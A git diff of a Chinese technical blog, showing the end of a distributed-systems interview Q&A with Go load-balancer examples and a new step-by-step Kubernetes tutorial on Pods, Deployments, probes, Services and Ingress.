在HTTP协议中,有些请求方法是幂等的,比如GET、PUT和DELETE。这意味着无论这些请求执行多少次,结果都是一样的。例如,使用GET请求获取一个网页,无论获取多少次,得到的网页内容都是一样的。使用DELETE请求删除一个资源,无论删除多少次,那个资源都会被删除。 + + +**问题14:请解释什么是分布式共识,以及它在分布式系统中的作用?** + +答案:分布式共识是一种在分布式系统中达成一致决定的过程。它是分布式系统中的关键问题,因为在一个分布式系统中,由于网络延迟、节点故障等原因,不同的节点可能会有不同的视图。分布式共识算法(如Paxos,Raft等)的目标就是在这种情况下达成一致的决定。 + + +**问题15:请解释什么是数据分片,以及它在分布式数据库中的作用?** +答案:数据分片是一种将数据分布到多个节点的策略,每个节点只存储数据的一部分。数据分片可以提高分布式数据库的可扩展性和性能,因为查询可以在多个节点上并行执行,而数据的写入也可以分布到多个节点,从而减少了单个节点的负载。 + +> 分布式系统中,数据扩容通常涉及到数据的重新分片,以下是数据扩容的步骤: +> 1-添加新的节点:新的节点将用于存储一部分数据 +> 2-计算新的数据分片策略:这通常涉及到一种称为一致性哈希的技术。一致性哈希可以在节点数量变化时,最小化需要移动的数据量。 +> 3-迁移数据:根据新的数据分片策略,需要将一部分数据从旧的节点迁移到新的节点。这个过程需要谨慎进行,以防止数据丢失。通常,会在数据迁移的同时,保持旧的节点和新的节点的数据同步,直到数据迁移完成。 +> 4-更新应用程序:最后,需要更新的应用程序,使其知道新的数据分片策略。这可能涉及到更新的数据库驱动或者其他相关的配置。 + +**问题16:请解释什么是负载均衡,以及它在分布式系统中的作用?** + +答案:负载均衡是一种将工作负载分布到多个节点的策略,以优化资源使用,最大化吞吐量,最小化响应时间,同时也能避免任何单一节点的过载。 + +> 实现负载均衡的一种常见方法是使用反向代理。Go标准库中的net/http/httputil包提供了ReverseProxy类型. + +```go +package main + +import ( + "net/http" + "net/http/httputil" + "net/url" +) + +func main() { + target, _ := url.Parse("http://localhost:8080") + proxy := httputil.NewSingleHostReverseProxy(target) + + http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { + proxy.ServeHTTP(w, r) + }) + + http.ListenAndServe(":8081", nil) +} +``` +> 我们创建了一个反向代理,将所有到达端口8081的请求转发到localhost:8080。这只是最基础的负载均衡,它只能将所有的请求转发到一个固定的地址。 + +```go +package main + +import ( + "net/http" + "net/http/httputil" + "net/url" + "sync/atomic" +) + +type LoadBalancer struct { + addresses []*url.URL + index uint64 +} + +func (lb *LoadBalancer) ServeHTTP(w http.ResponseWriter, r *http.Request) { + target := lb.addresses[lb.index%uint64(len(lb.addresses))] + proxy := httputil.NewSingleHostReverseProxy(target) + + proxy.ServeHTTP(w, r) + + atomic.AddUint64(&lb.index, 1) +} + +func main() { + addresses := []*url.URL{ + {Scheme: "http", Host: "localhost:8080"}, + {Scheme: "http", Host: "localhost:8081"}, + {Scheme: "http", Host: "localhost:8082"}, + } + + lb := &LoadBalancer{addresses: addresses} + + http.ListenAndServe(":8083", lb) +} +``` + +在这个示例中,创建了一个负载均衡器,它会轮询将请求转发到localhost:8080、localhost:8081和localhost:8082。 +> 实际的业务场景中,负载均衡通常由专门的负载均衡器(如Nginx、HAProxy)或者云服务提供商(如AWS的ELB、Google Cloud的Load Balancer)来完成。这些负载均衡器提供了丰富的特性,如健康检查、SSL终止、会话保持等。 + + +**问题17:请解释什么是向量时钟(Vector Clock)以及它在分布式系统中的作用?** + +答案:向量时钟是一种用于跟踪分布式系统中事件的相对顺序的算法。它是一种逻辑时钟,**为每个系统进程分配一个递增的整数序列**,以此来比较和排序事件。向量时钟能够解决分布式系统中的因果关系问题,即能够准确地表示出事件之间的先后关系。 + +**问题18:请解释什么是分布式快照(Distributed Snapshot)以及它在分布式系统中的作用?** + +答案:分布式快照是分布式系统中的一种技术,它能够捕获系统的全局状态,即使在没有全局时钟的情况下也能做到这一点。分布式快照在很多场景中都非常有用,比如用于系统恢复、垃圾收集、检测全局属性等。 + +> 布式快照的实现通常依赖于某种快照算法,其中最著名的可能是Chandy-Lamport算法。这种算法可以在没有全局时钟的分布式系统中捕获一致的全局状态。以下是Chandy-Lamport算法的基本步骤: + +> 1-快照初始化:任何一个进程可以在任何时刻初始化快照过程。初始化的进程首先记录自己的状态,然后向所有其他进程发送一个特殊的快照标记消息。 + +> 2-快照标记的传播:当一个进程收到快照标记消息时,如果这是它首次收到快照标记,那么它会记录自己的状态,并将快照标记消息转发给所有其他进程。如果它已经记录过自己的状态,那么它会忽略这个快照标记。 + +> 3-通道状态的记录:当一个进程收到快照标记之后,它会开始记录所有进入的消息,直到它从同一个通道再次收到一个快照标记。这些记录的消息构成了通道的状态。 + +这个过程会捕获分布式系统的一个一致的全局状态,即使在没有全局时钟的情况下也能做到。这个全局状态包括了所有进程的状态和所有通道的状态。 + +在实际的业务场景中,分布式快照可能会用于各种目的,比如系统恢复、垃圾收集、检测全局属性等。例如,分布式数据库可能会使用分布式快照来实现点时间恢复(Point-In-Time Recovery,PITR),即将数据库恢复到过去的某一时刻的状态。在这种情况下,分布式快照会在后台定期进行,每个快照都会记录下那一时刻的全局状态。当需要进行恢复时,就可以找到最接近恢复目标时间的快照,然后使用事务日志来回放那个时间点之后的所有操作,从而实现点时间恢复。 + + +**问题19:请解释什么是分布式故障检测(Distributed Failure Detection)以及它在分布式系统中的作用?** + +答案:分布式故障检测是一种在分布式系统中检测节点故障的机制。由于分布式系统中的节点可能会由于各种原因(如网络故障、硬件故障等)而失败,因此需要一种机制来检测这些故障,并采取相应的措施。分布式故障检测可以帮助提高系统的可用性和可靠性。 + +> 在分布式系统中,故障检测通常依赖于心跳机制或者租约机制。 + +> 心跳机制:在心跳机制中,每个节点会定期向其他节点发送心跳消息,表明它们仍然是活跃的。如果一个节点在一段时间内没有收到另一个节点的心跳消息,那么它就会认为那个节点已经故障。心跳机制简单易实现,但是需要选择合适的心跳间隔和超时时间,以平衡故障检测的准确性和网络开销。 + +> 租约机制:在租约机制中,一个节点会向其他节点请求一个租约,如果其他节点同意,那么它就会授予一个租约,租约有一个固定的有效期。只要租约有效,那么节点就被认为是活跃的。如果一个节点的租约过期,那么其他节点就会认为它已经故障。租约机制可以更准确地控制故障检测的时间,但是实现起来比心跳机制更复杂。 + +在实际的业务场景中,可能会使用一种或者多种故障检测机制,取决于系统的需求。例如,**分布式数据库可能会使用心跳机制来检测节点的故障**,然后使用副本和故障转移来保证数据的可用性和一致性。另一方面,**分布式锁服务可能会使用租约机制来保证锁的安全性**,如果一个持有锁的节点故障,那么它的租约会过期,锁就会被释放,其他节点就可以安全地获取锁。 + +此外,还有一些更复杂的故障检测算法,如SWIM(Scalable Weakly-consistent Infection-style Process Group Membership)算法,它通过随机抽样和间接检查来提高故障检测的效率和准确性。 + +**问题20:请解释什么是分布式调度(Distributed Scheduling)以及它在分布式系统中的作用?** + +答案:分布式调度是一种在分布式系统中分配和管理资源的机制。它需要考虑到各种因素,如任务的优先级、资源的可用性、负载均衡等。分布式调度可以帮助提高系统的性能和效率。 + +在实际的业务场景中,分布式调度的实现通常依赖于一些成熟的分布式调度框架,如Apache Mesos、Google's Borg、Kubernetes等。这些框架提供了一套完整的机制来管理和调度分布式系统中的资源。 + +以下是一个基本的分布式调度过程: + +> 资源申请:当一个任务需要运行时,它会向调度器申请所需的资源,如CPU、内存、磁盘等。 + +> 资源匹配:调度器会查看当前系统中的可用资源,并将任务与可以满足其资源需求的节点进行匹配。这个过程可能会考虑多种因素,如节点的负载、网络位置、硬件性能等。 + +> 任务调度:一旦找到了合适的节点,调度器就会将任务调度到那个节点上运行。如果没有找到合适的节点,那么任务可能会被放入队列,等待资源变得可用。 + +> 资源使用:当任务在节点上运行时,它会使用分配给它的资源。如果任务完成或者失败,那么它使用的资源就会被释放,可以被其他任务使用。 + +> 健康检查和故障恢复:调度器通常还会定期检查任务的状态,如果任务失败,那么调度器可能会尝试在其他节点上重新调度任务。 + + +**问题21:请解释什么是数据复制(Data Replication)以及它在分布式系统中的作用?** + +答案:数据复制是一种在分布式系统中提高数据可用性和可靠性的技术,它通过在多个节点上存储数据的副本来实现。数据复制可以提高系统的容错性,因为即使某个节点失败,其他节点上的副本仍然可以提供服务。此外,数据复制还可以提高读取性。 + +> 分布式数据复制的实现通常依赖于一些成熟的数据存储系统,如分布式数据库、分布式文件系统等。这些系统提供了一套完整的机制来管理和复制数据。 + + +> 1-写入操作:当一个节点需要写入数据时,它会将数据和一个特定的复制策略发送给数据存储系统。复制策略可能会指定数据需要复制到多少个节点,以及选择哪些节点进行复制。 + +> 2-数据复制:数据存储系统会根据复制策略将数据复制到指定的节点。这个过程可能会涉及到数据的序列化、网络传输、数据的反序列化等步骤。 + +> 3-确认写入:一旦数据被成功复制到所有指定的节点,数据存储系统就会向写入节点发送一个确认消息。如果某个节点复制失败,那么数据存储系统可能会尝试在其他节点上复制数据,或者返回一个错误消息。 + +> 4-读取操作:当一个节点需要读取数据时,它可以从任何一个存储了数据副本的节点读取数据。这可以提高读取性能,因为读取请求可以被分散到多个节点。 +> 一些数据存储系统可能会支持一致性哈希,这是一种可以在节点动态加入和离开时最小化数据迁移的哈希技术。 + + + + + + + diff --git a/_posts/2023-9-9-test-markdown.md b/_posts/2023-9-9-test-markdown.md new file mode 100644 index 000000000000..2ca64a9dd05f --- /dev/null +++ b/_posts/2023-9-9-test-markdown.md @@ -0,0 +1,1422 @@ +--- +layout: post +title: Kubernetes实践 +subtitle: +tags: [Kubernetes] +comments: true +--- + +### Container + +> 应用程序 + +```go +package main + +import ( + "io" + "net/http" +) + +func hello(w http.ResponseWriter, r *http.Request) { + io.WriteString(w, "[v1] Hello, Kubernetes!") +} + +func main() { + http.HandleFunc("/", hello) + http.ListenAndServe(":3000", nil) +} +``` + +> Dockerfile文件 + +```go +FROM golang:1.16-buster AS builder +RUN mkdir /src +ADD . /src +WORKDIR /src + +RUN go env -w GO111MODULE=auto +RUN go build -o main . + +FROM gcr.io/distroless/base-debian10 + +WORKDIR / + +COPY --from=builder /src/main /main +EXPOSE 3000 +ENTRYPOINT ["/main"] +``` + +> main.go 文件需要和 Dockerfile 文件在同一个目录下面执行,fieelina 就是Docker注册的用户名 + +```go +docker build . -t fieelina/hellok8s:v1 +``` + +> 查看镜像状态 + +```go +docker images +``` + +> 测试 + +```go +docker run -p 3000:3000 --name hellok8s -d fieelina/hellok8s:v1 +``` + +> 登录 + +```go +docker login -u fieelina +``` + +> 推送 + +```go +docker push fieelina/hellok8s:v1 +``` + +### Pod + +> 编写一个可以创建 nginx 的 Pod。 + +```yaml +# nginx.yaml +apiVersion: v1 +kind: Pod +metadata: + name: nginx-pod +spec: + containers: + - name: nginx-container + image: nginx +``` +kind 表示我们要创建的资源是 Pod 类型 +metadata.name 表示要创建的 pod 的名字 +spec.containers 表示要运行的容器的名称和镜像名称。镜像默认来源 DockerHub。 + +> 创建Pod + +```shell +kubectl apply -f nginx.yaml +``` + +> 查看Pod 状态 + +```shell +kubectl get pods +``` + +> 进入Pod内部 + +```shell +kubectl exec -it nginx-pod /bin/bash +``` +> 配置 nginx 的首页内容 + +```shell +echo "hello kubernetes by nginx!" > /usr/share/nginx/html/index.html +``` + +> 退出Pod + +```shell +exit +``` + +> 端口映射 + +```shell +kubectl port-forward nginx-pod 4000:80 +``` +这个命令的作用是在的本地机器(kubectl 客户端)上创建一个到 nginx-pod 的 4000 到 80 的端口映射。这样就可以通过访问本地的 4000 端口.虽然 YAML 文件中虽然没有明确指定 80 端口,但是 Nginx 服务器默认在 80 端口上运行,这是它的默认配置。 + +> 访问测试 + +```shell +http://127.0.0.1:4000 +``` +> 查看日志 + +```shell +kubectl logs --follow nginx-pod +``` + +```shell +kubectl logs nginx-pod +``` +`kubectl logs --follow nginx-pod` 命令中的 `--follow` 参数使得命令不会立即返回,而是持续地输出 Pod 的日志,就像 `tail -f` 命令一样。当新的日志在 Pod 中生成时,这些日志会实时地在的终端中显示。这对于跟踪和调试 Pod 的行为非常有用。如果不使用 `--follow` 参数,`kubectl logs` 命令只会打印出到目前为止已经生成的日志,然后命令就会返回。 + + +> 在Pod的外部输入命令,让在Pod内部执行 + +```shell +kubectl exec nginx-pod -- ls +``` +`kubectl exec nginx-pod -- ls` 命令的作用是在名为 "nginx-pod" 的 Pod 中执行 `ls` 命令。 + +在这里,`kubectl exec` 是执行命令的操作,`nginx-pod` 是要在其中执行命令的 Pod 的名称,`--` 是一个分隔符,用于分隔 kubectl 命令的参数和要在 Pod 中执行的命令,而 `ls` 是要在 Pod 中执行的命令。 + +`ls` 命令是 Linux 中的一个常用命令,用于列出当前目录中的所有文件和目录。所以 `kubectl exec nginx-pod -- ls` 命令会打印出在 "nginx-pod" Pod 中的当前目录下的所有文件和目录。 + +> 删除Pod + +```shell +kubectl delete pod nginx-pod +``` + +> 删除Yaml + +```shell +kubectl delete -f nginx.yaml +``` + +> 总结 + +container (容器) 的本质是进程,而 pod 是管理这一组进程的资源。pod 可以管理多个 container,在某些场景例如服务之间需要文件交换(日志收集),本地网络通信需求(使用 localhost 或者Socket 文件进行本地通信) + + +### Deployment + +可以自动扩容或者自动升级版本. + +```yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: hellok8s-deployment +spec: + replicas: 1 + selector: + matchLabels: + app: hellok8s + template: + metadata: + labels: + app: hellok8s + spec: + containers: + - image: fieelina/hellok8s:v1 + name: hellok8s-container +``` +kind 表示我们要创建的资源是 deployment 类型 +metadata.name 表示要创建的 deployment 的名字 +replicas 表示的是部署的 pod 副本数量 +selector 里面表示的是 deployment 资源和 pod 资源关联的方式,deployment 会管理 (selector) 所有 labels=hellok8s 的 pod。 +template 的内容是用来定义 pod 资源的,和Pod差不多,唯一的区别是要加上metadata.labels 和上面的selector.matchLabels对应。 + +> 执行 + +```shell +kubectl apply -f deployment.yaml +``` + +> 查看deployment状态 + +```shell +kubectl get deployments +``` + +> 获取Pod + +```shell +kubectl get pods +``` + +> 删除Pod + +```shell +kubectl delete pod hellok8s-deployment-7f9d6776b6-vklpc +``` + +> 检查删除后的状态 + +```shell +kubectl get pods +NAME READY STATUS RESTARTS AGE +hellok8s-deployment-7f9d6776b6-vcqqd 1/1 Running 0 54s +得到了新的Pods +``` + +> 自动扩容,修改replicas=3 + +```shell +kubectl apply -f deployment.yaml +``` + +> 命令来观察 pod 启动和删除 + +```shell +kubectl get pods --watch +``` + +> 升级版本-修改内容 + +```go +package main + +import ( + "io" + "net/http" +) + +func hello(w http.ResponseWriter, r *http.Request) { + io.WriteString(w, "[v2] Hello, Kubernetes!") +} + +func main() { + http.HandleFunc("/", hello) + http.ListenAndServe(":3000", nil) +} +``` +> 升级版本-构件镜像并推送到仓库 + +```shell +docker build . -t fieelina/hellok8s:v2 +``` + +```shell +docker push fieelina/hellok8s:v2 +``` + +> 升级版本-修改deployment文件 + +```yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: hellok8s-deployment +spec: + replicas: 3 + selector: + matchLabels: + app: hellok8s + template: + metadata: + labels: + app: hellok8s + spec: + containers: + - image: fieelina/hellok8s:v2 + name: hellok8s-container +``` + +> 执行 + +```shell +kubectl apply -f deployment.yaml +``` + +> 查看Pod的状态 + +```shell +kubectl get pods +hellok8s-deployment-6c6fcbc8b5-86rg5 1/1 Running 0 4s +hellok8s-deployment-6c6fcbc8b5-fhv62 1/1 Running 0 3s +hellok8s-deployment-6c6fcbc8b5-qx2n8 1/1 Running 0 6s +``` + +> 端口映射 + +```shell +kubectl port-forward hellok8s-deployment-66799848c4-kpc6q 3000:3000 +``` + +> 访问测试 + +```shell +http://localhost:3000 +``` + +> 查看 + +```shell +kubectl describe pod hellok8s-deployment-6c6fcbc8b5-86rg5 +``` + +> 滚动更新-修改deployment文件 + +spec.strategy.type有两种选择: + +RollingUpdate:逃逸增加新版本的pod,逃逸减少旧版本的pod。 +Recreate:在新版本的 pod 增加之前,先将所有旧版本 pod 删除。 + +滚动更新又可以通过maxSurge和maxUnavailable字节来控制升级 pod 的速度,具体可以详细看官网定义。: + +maxSurge:最大峰值,用来指定可以创建的超预期Pod个数的Pod数量。 +maxUnavailable:最大不可使用,用于指定更新过程中不可使用的Pod的个数上限。 + +```yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: hellok8s-deployment +spec: + strategy: + rollingUpdate: + maxSurge: 1 + maxUnavailable: 1 + replicas: 3 + selector: + matchLabels: + app: hellok8s + template: + metadata: + labels: + app: hellok8s + spec: + containers: + - image: fieelina/hellok8s:v2 + name: hellok8s-container +``` +最大可能会创建 4 个 hellok8s pod (replicas + maxSurge),最少会有 2 个 hellok8s pod 存在 (replicas - maxUnavailable) 。 + +> 执行 + +```shell +kubectl apply -f deployment.yaml +``` + +> 查看pod的创建状况 + +```shell +kubectl get pods --watch +``` + +> 滚动更新-回滚 + +```shell +kubectl rollout undo deployment hellok8s-deployment +``` + +> 滚动更新-回滚历史 + +```shell +kubectl rollout history deployment hellok8s-deployment +``` + +> 总结 + +手动删除一个 pod 资源后,deployment 会自动创建一个新的 pod,这代表着当生产环境管理着成千上万个 pod 时,我们不需要关心具体的情况,只需要维护好这份 deployment.yaml 文件的资源定义即可。 + + +### 生存探针 + +生存探测器来确定**什么时候需要重新启动容器**。继续执行后面的步骤)情况。重新启动这种状态下的容器有助于提高应用的可用性,即使其中存在不足。 -- LivenessProb + + +在生产中,有时会因为某些bug导致应用死锁或线路进程写入尽了,最终会导致应用无法继续提供服务,此时此刻如如果没有手段来自动监控和处理这个问题的话,可能会导致很长一段时间无人发现。kubelet使用现存检测器(livenessProb)来确定什么时候需要重新启动容器。 + + +> 写个接口 + +```go +package main + +import ( + "fmt" + "io" + "net/http" + "time" +) + +func hello(w http.ResponseWriter, r *http.Request) { + io.WriteString(w, "[v2] Hello, Kubernetes!") +} + +func main() { + started := time.Now() + http.HandleFunc("/healthz", func(w http.ResponseWriter, r *http.Request) { + duration := time.Since(started) + if duration.Seconds() > 15 { + w.WriteHeader(500) + w.Write([]byte(fmt.Sprintf("error: %v", duration.Seconds()))) + } else { + w.WriteHeader(200) + w.Write([]byte("ok")) + } + }) + + http.HandleFunc("/", hello) + http.ListenAndServe(":3000", nil) +} +``` + +/healthz接口会在启动成功的15s 内部正常返回 200状态码,在15s后,会一直返回500 的状态码。 + +> 构件镜像 + +```shell +docker build . -t fieelina/hellok8s:liveness +``` + +> 推送远程 + +```shell +docker push fieelina/hellok8s:liveness +``` + +> 编写 deployment + +```shell +apiVersion: apps/v1 +kind: Deployment +metadata: + name: hellok8s-deployment +spec: + strategy: + rollingUpdate: + maxSurge: 1 + maxUnavailable: 1 + replicas: 3 + selector: + matchLabels: + app: hellok8s + template: + metadata: + labels: + app: hellok8s + spec: + containers: + - image: fieelina/hellok8s:liveness + name: hellok8s-container + livenessProbe: + httpGet: + path: /healthz + port: 3000 + initialDelaySeconds: 3 + periodSeconds: 3 +``` + + + +> 执行 + +```shell +kubectl apply -f deployment.yaml +``` +使用现存探测方式是使用 HTTP GET 请求,请求的是刚好定义的接口/healthz,periodSeconds这段指定了 kubelet 每次隔 3秒执行一次存活探测。 + +> 测试 + +```shell +kubectl describe pod hellok8s-deployment-7fcb7b585b-862pj +``` +get或describe命令可以发现 pod 一直位于重新开始时 + +### 就绪探针(准备) + +就绪探测器可以知道容器什么时候**准备好接受请求流量**,当一个Pod里面的所有容器都就绪时,才能认为该Pod就绪。 这种信号的一个用途就是控制哪个**Pod作为Service的后端**。若Pod尚未就绪,会被从服务的负载均衡器中剔除。-- ReadinessProb + +在生产环境中,升级服务的版本是日常的需求,此时我们需要考虑一种场景,即刻发布的版本存在于问题中,就不应该让它升级等级成功。kubelet 使用就绪探测仪可以知道容器何时准备好接受请请求流量。当一个pod升级后不能就绪,即不应让流量进入该pod,在配置的功能下,rollingUpate也不能允许升级版继续下去,否则服务会出现全部升级完成,导致所有服务均不可使用的情况。 + +> 先回滚 + +```shell +kubectl rollout undo deployment hellok8s-deployment --to-revision=2 +``` + +> 设置有问题的版本 + +```go +package main + +import ( + "io" + "net/http" +) + +func hello(w http.ResponseWriter, r *http.Request) { + io.WriteString(w, "[v2] Hello, Kubernetes!") +} + +func main() { + http.HandleFunc("/healthz", func(w http.ResponseWriter, r *http.Request) { + w.WriteHeader(500) + }) + + http.HandleFunc("/", hello) + http.ListenAndServe(":3000", nil) +} +``` + +> 构件镜像 + +```shell +docker build . -t fieelina/hellok8s:bad +``` +> 推送远程 + +```shell +docker push fieelina/hellok8s:bad +``` + +> 编写yaml文件 + +```yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: hellok8s-deployment +spec: + strategy: + rollingUpdate: + maxSurge: 1 + maxUnavailable: 1 + replicas: 3 + selector: + matchLabels: + app: hellok8s + template: + metadata: + labels: + app: hellok8s + spec: + containers: + - image: fieelina/hellok8s:bad + name: hellok8s-container + readinessProbe: + httpGet: + path: /healthz + port: 3000 + initialDelaySeconds: 1 + successThreshold: 5 +``` + +initialDelaySeconds:容器启动后要等多少秒后启动才存在和可读性,默认是0秒,简单的是0. +periodSeconds:执行探测的时间间隔(单位是秒)。默认是10秒。简单是1。 +timeoutSeconds:探测的超时后等待秒数。默认值为1秒。简单为1。 +successThreshold:探测仪在失败后,被视作成功的最小连续成功数。默认值为1。生存和启动探测的这个值必须为1。最小值为1。 +failureThreshold:当探索失败时,Kubernetes 的重试次数。放弃意味着 Pod 会被打上未就绪的标签。默认值为 3。简单为 1。 + + +> 执行 + +```shell +kubectl apply -f deployment.yaml +``` + +> 测试 + +```shell +kubectl get pods +``` +> 查看具体的Pod + +```shell +kubectl describe pod hellok8s-deployment-58fd697ccd-cjtvk +``` + +### 服务 + +为什么pod不就绪(Ready)的话,kubernetes不会将流量重定向该pod,这是怎么做到的? + +前面访问服务的方式是通过port-forword将 pod 的端口暴露到本地,不仅仅需要写对 pod 的名称,一次部署重新创建的 pod,pod 名称和 IP 地地址也会随其变化,如何保证稳定的访问地址呢? + +如果使用 deployment 部分配备了多个 Pod 副本,如何做负载均衡呢? + +kubernetes提供了一种名为Service的资源帮助解决这些问题,它为 **pod 提供一个稳定的 Endpoint**。Service 位于 pod 的前面,**负载接收请并将其请求传给它后面的所有pod**。一次服务中的Pod 集合开发更改,端点就会被更新,请求的重定自然也会引导到最新的pod。 + + +> 编写V3版本的应用程序 + +```go +package main + +import ( + "fmt" + "io" + "net/http" + "os" +) + +func hello(w http.ResponseWriter, r *http.Request) { + host, _ := os.Hostname() + io.WriteString(w, fmt.Sprintf("[v3] Hello, Kubernetes!, From host: %s", host)) +} + +func main() { + http.HandleFunc("/", hello) + http.ListenAndServe(":3000", nil) +} +``` + +> 构件镜像 + +```shell +docker build . -t fieelina/hellok8s:v3 +``` + +> 推送远程 + +```shell +docker push fieelina/hellok8s:v3 +``` + +> 修改为V3版本 + +```yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: hellok8s-deployment +spec: + replicas: 3 + selector: + matchLabels: + app: hellok8s + template: + metadata: + labels: + app: hellok8s + spec: + containers: + - image: fieelina/hellok8s:v3 + name: hellok8s-container +``` + +> 执行 + +```shell +kubectl apply -f +deployment.yaml +``` + +> Service资源的定义service-hellok8s-clusterip.yaml + +```yaml +apiVersion: v1 +kind: Service +metadata: + name: service-hellok8s-clusterip +spec: + type: ClusterIP + selector: + app: hellok8s + ports: + - port: 3000 + targetPort: 3000 +``` + +> 查看状态 + +```shell +kubectl get endpoints +``` + +被selector选中的Pod,就称为Service的Endpoints,它维护着Pod的IP地址,只要服务中的Pod集合发生更改,Endpoints就会被更新, + +```shell +kubectl get pod -o wide +# NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES +# hellok8s-deployment-5dcccf6f96-2xt7b 1/1 Running 0 3m53s 10.1.0.29 docker-desktop +# hellok8s-deployment-5dcccf6f96-hnnb4 1/1 Running 0 3m50s 10.1.0.31 docker-desktop +# hellok8s-deployment-5dcccf6f96-wn9ll 1/1 Running 0 3m51s 10.1.0.30 docker-desktop +``` + + +> 执行 + +```shell +kubectl apply -f service-hellok8s-clusterip.yaml +``` + +> 查看状态 + +```shell +kubectl get endpoints +``` + +> 查看状态 + +```shell +kubectl get pod -o wide +``` + +> 继续查看状态 + +```shell +kubectl get service +# NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE +# kubernetes ClusterIP 10.96.0.1 443/TCP 23h +# service-hellok8s-clusterip ClusterIP 10.104.233.237 3000/TCP 101s +``` + +群其应用中访问service-hellok8s-clusterip的IP地址10.104.233.2373来访问hellok8s:v3 + +> 创建nginx来访问hellok8s服务 + +通过在群内创建一个nginx来访hellok8s服务。创建后进入nginx容器来使用curl指令访问service-hellok8s-clusterip。 + +```yaml +apiVersion: v1 +kind: Pod +metadata: + name: nginx + labels: + app: nginx +spec: + containers: + - name: nginx-container + image: nginx + +``` +> 执行 + +```shell +kubectl apply -f pod.yaml +``` + +> 获取地址 + +```shell +kubectl get service +``` + +> 进入nginx内部开始访问 + +```shell +kubectl exec -it nginx /bin/bash +``` + +```shell +curl 10.104.233.237:3000 +# [v3] Hello, Kubernetes!, From host: hellok8s-deployment-5dcccf6f96-2xt7broot@nginx: +``` + +ClusterIP:通过集群的内部 IP 暴露服务,选择该值时服务只能够在集群内部访问。 这也是默认的 ServiceType。 +NodePort:通过每个节点上的 IP 和静态端口(NodePort)暴露服务。 NodePort 服务会路由到自动创建的 ClusterIP 服务。 通过请求 <节点 IP>:<节点端口>,可以从集群的外部访问一个 NodePort 服务。 +LoadBalancer:使用云提供商的负载均衡器向外部暴露服务。 外部负载均衡器可以将流量路由到自动创建的 NodePort 服务和 ClusterIP 服务上。 +ExternalName:通过返回 CNAME 和对应值,可以将服务映射到 externalName 字段的内容(例如,foo.bar.example.com)。 无需创建任何类型代理。 + + +### NodePort + +我们知道kubernetes 集群并不是单机运行,它管理着多台节点即 Node,可以通过每个节点上的 IP 和静态端口(NodePort)暴露服务。如下图所示,如果集群内有两台 Node 运行着 hellok8s:v3,我们创建一个 NodePort 类型的 Service,将 hellok8s:v3 的 3000 端口映射到 Node 机器的 30000 端口 (在 30000-32767 范围内),就可以通过访问 http://node1-ip:30000 或者 http://node2-ip:30000 访问到服务 + + +```shell +minikube ip +``` + +```yaml +apiVersion: v1 +kind: Service +metadata: + name: service-hellok8s-nodeport +spec: + type: NodePort + selector: + app: hellok8s + ports: + - port: 3000 + nodePort: 30000 +``` + +通过minikube 节点上的 IP 192.168.59.100 暴露服务。 NodePort 服务会路由到自动创建的 ClusterIP 服务。 通过请求 <节点 IP>:<节点端口> -- 192.168.59.100:30000,可以从集群的外部访问一个 NodePort 服务,最终重定向到 hellok8s:v3 的 3000 端口。 + +### LoadBalancer + +LoadBalancer 是使用云提供商的负载均衡器向外部暴露服务。 外部负载均衡器可以将流量路由到自动创建的 NodePort 服务和 ClusterIP 服务上,假如在 AWS 的 EKS 集群上创建一个 Type 为 LoadBalancer 的 Service。它会自动创建一个 ELB (Elastic Load Balancer) ,并可以根据配置的 IP 池中自动分配一个独立的 IP 地址,可以供外部访问。 + + +### Ingress + +Ingress 公开从集群外部到集群内服务的 HTTP 和 HTTPS 路由,流量路由由 Ingress 资源上定义的规则控制。Ingress 可为 Service 提供外部可访问的 URL、负载均衡流量、 SSL/TLS,以及基于名称的虚拟托管。 + +Ingress 可以“简单理解”为服务的网关 Gateway,它是所有流量的入口,经过配置的路由规则,将流量重定向到后端的服务。 + +> 删除所有的服务和Pod + +```shell +kubectl delete deployment,service --all +``` + +> 启动一个MiniKube + +```shell +minikube start +``` + +> 开启 Ingress-Controller 的功能 + +```shell +minikube addons enable ingress +``` + +> 创建 hellok8s:v3 和 nginx 的deployment与 service 资源 + +```yaml +# nginx.yaml +apiVersion: v1 +kind: Service +metadata: + name: service-nginx-clusterip +spec: + type: ClusterIP + selector: + app: nginx + ports: + - port: 4000 + targetPort: 80 + +--- + +apiVersion: apps/v1 +kind: Deployment +metadata: + name: nginx-deployment +spec: + replicas: 2 + selector: + matchLabels: + app: nginx + template: + metadata: + labels: + app: nginx + spec: + containers: + - image: nginx + name: nginx-container +``` + + +```yaml +# hellok8s.yaml +apiVersion: v1 +kind: Service +metadata: + name: service-hellok8s-clusterip +spec: + type: ClusterIP + selector: + app: hellok8s + ports: + - port: 3000 + targetPort: 3000 + +--- + +apiVersion: apps/v1 +kind: Deployment +metadata: + name: hellok8s-deployment +spec: + replicas: 3 + selector: + matchLabels: + app: hellok8s + template: + metadata: + labels: + app: hellok8s + spec: + containers: + - image: guangzhengli/hellok8s:v3 + name: hellok8s-container +``` + +> 执行 + +```shell +kubectl apply -f hellok8s.yaml +kubectl apply -f nginx.yaml +``` + +```shell +kubectl get pods +``` + +```shell +kubectl get service +``` + +这样在 k8s 集群中,就有 3 个 hellok8s:v3 的 pod,2 个 nginx 的 pod。并且hellok8s:v3 的端口映射为 3000:3000,nginx 的端口映射为 4000:80。在这个基础上,接下来编写 Ingress 资源的定义 + + +```yaml +apiVersion: networking.k8s.io/v1 +kind: Ingress +metadata: + name: hello-ingress + annotations: + # We are defining this annotation to prevent nginx + # from redirecting requests to `https` for now + nginx.ingress.kubernetes.io/ssl-redirect: "false" +spec: + rules: + - http: + paths: + - path: /hello + pathType: Prefix + backend: + service: + name: service-hellok8s-clusterip + port: + number: 3000 + - path: / + pathType: Prefix + backend: + service: + name: service-nginx-clusterip + port: + number: 4000 + +``` +nginx.ingress.kubernetes.io/ssl-redirect: "false" 的意思是这里关闭 https 连接,只使用 http 连接。 + +匹配前缀为 /hello 的路由规则,重定向到 hellok8s:v3 服务,匹配前缀为 / 的跟路径重定向到 nginx + +> 执行 + +```shell +kubectl apply -f ingress.yaml +``` + +> 查看状态 + +```shell +kubectl get ingress +``` +> 测试 + +```shell +curl http://192.168.59.100/hello +``` + +### 